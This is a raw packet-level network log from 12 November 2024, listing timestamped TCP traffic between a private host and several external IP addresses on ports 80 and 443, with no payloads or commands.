Nov 12, 2024 06:23:31.687457085 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.687468052 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.687480927 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.687552929 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.687693119 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.687767982 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.687776089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.687792063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.687798977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.687803984 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.687828064 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.687835932 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.688183069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.688222885 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.688230038 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.688234091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.688268900 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.688316107 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.715792894 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.716281891 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.716352940 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.716454029 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.716454029 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.716470957 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.716481924 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.719516039 CET	54503	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.719547987 CET	443	54503	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.719762087 CET	54503	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.720762014 CET	54503	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.720777988 CET	443	54503	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.722719908 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.723035097 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.723118067 CET	49843	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.723155975 CET	49843	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.723171949 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.723201036 CET	49843	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.723206043 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.725908041 CET	54504	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.725929022 CET	443	54504	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.726001978 CET	54504	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.727813959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.727843046 CET	54504	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.727852106 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.727852106 CET	443	54504	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.727865934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.727875948 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.727993011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.728048086 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.728107929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.728118896 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.728171110 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.728171110 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.728203058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.728214025 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.728344917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.728368998 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.728396893 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.728425026 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.728779078 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.731599092 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.731652975 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.731920004 CET	49841	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.731959105 CET	49841	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.731959105 CET	49841	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.731965065 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.731971025 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.733778954 CET	54505	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.733798027 CET	443	54505	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.733943939 CET	54505	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.734057903 CET	54505	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.734067917 CET	443	54505	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.752568007 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.752587080 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.752665997 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.752675056 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.752809048 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.761878967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.761948109 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.761961937 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.761972904 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.762003899 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.762003899 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.762018919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.762032986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.762049913 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.762129068 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.762280941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.762326002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.762347937 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.762454033 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.762466908 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.762479067 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.762500048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.762651920 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.762664080 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.762684107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.762705088 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.762904882 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.772514105 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.772559881 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.772612095 CET	49844	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.772754908 CET	49844	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.772754908 CET	49844	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.772766113 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.772773981 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.775031090 CET	54506	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.775039911 CET	443	54506	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.775125027 CET	54506	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.775249004 CET	54506	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.775254965 CET	443	54506	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.802366018 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.802376986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.802388906 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.802412987 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.802423954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.802431107 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.802438974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.802462101 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.802462101 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.802596092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.802602053 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.802606106 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.802611113 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.802619934 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.802628994 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.802673101 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.802999973 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.803011894 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.803020954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.803062916 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.803083897 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.803221941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.803231955 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.803242922 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.803253889 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.803266048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.803276062 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.803308964 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.803595066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.803675890 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.803745031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.803756952 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.803905010 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.825056076 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.825073004 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.825135946 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.825143099 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.825165033 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.825212955 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.844903946 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.844979048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.845020056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.845030069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.845043898 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.845046043 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.845057011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.845068932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.845077991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.845083952 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.845088005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.845113993 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.845113993 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.845187902 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.880619049 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.880633116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.880646944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.880660057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.880671024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.880696058 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.880719900 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.880722046 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.880723000 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.880728006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.880743027 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.880947113 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.887284040 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:31.887545109 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:31.887557983 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:31.887911081 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:31.888442993 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:31.888556004 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:31.888660908 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:31.888678074 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:31.888690948 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:31.917999029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918015003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918030024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918040991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918052912 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918064117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918073893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.918073893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.918083906 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918087959 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.918100119 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918107986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.918112040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918123960 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.918194056 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.918281078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918353081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918365002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918378115 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.918382883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918405056 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.918531895 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.918746948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918760061 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918772936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918798923 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.918798923 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.918874979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918889046 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.918904066 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.918925047 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.919204950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.919342041 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.919343948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.919397116 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.919516087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.919529915 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.919542074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.919564009 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.919639111 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.941580057 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.941601992 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.941684961 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.941699982 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.941821098 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.958923101 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.958936930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.958957911 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.958971977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.958983898 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.958997011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.959093094 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.959124088 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.959136009 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.959317923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.959340096 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.959481955 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.959495068 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.959497929 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.959508896 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.959530115 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.959615946 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.986454010 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.986469984 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.986515999 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.986534119 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:31.986557007 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.986582994 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:31.993397951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.993419886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.993433952 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.993444920 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.993446112 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.993459940 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.993469000 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.993484974 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.993509054 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.993590117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.993614912 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.993628025 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.993720055 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:31.993925095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.993937016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:31.994159937 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.033051014 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033065081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033075094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033107996 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.033137083 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.033154011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033164978 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033174992 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033196926 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.033221960 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.033377886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033390045 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033401012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033411980 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033425093 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.033447981 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.033747911 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033759117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033770084 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033804893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.033827066 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.033830881 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033838034 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033843040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.033874989 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.033900023 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.034356117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.034379005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.034389973 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.034400940 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.034415960 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.034423113 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.034435034 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.034439087 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.034446955 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.034459114 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.034475088 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.034491062 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.056197882 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:32.058751106 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.058772087 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.058830023 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.058851004 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.058893919 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.076096058 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.081008911 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.094436884 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:32.094544888 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:32.094779015 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:32.094796896 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:32.145531893 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.145550013 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.145603895 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.145622969 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.145668030 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.176239014 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.176265955 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.176297903 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.176307917 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.176335096 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.176361084 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.176675081 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.176692009 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.189526081 CET	443	49847	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.190056086 CET	49847	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.190080881 CET	443	49847	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.190737009 CET	49847	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.190742970 CET	443	49847	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.320487976 CET	443	49847	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.320875883 CET	443	49847	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.320934057 CET	49847	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.351531029 CET	80	49779	185.215.113.206	192.168.2.5
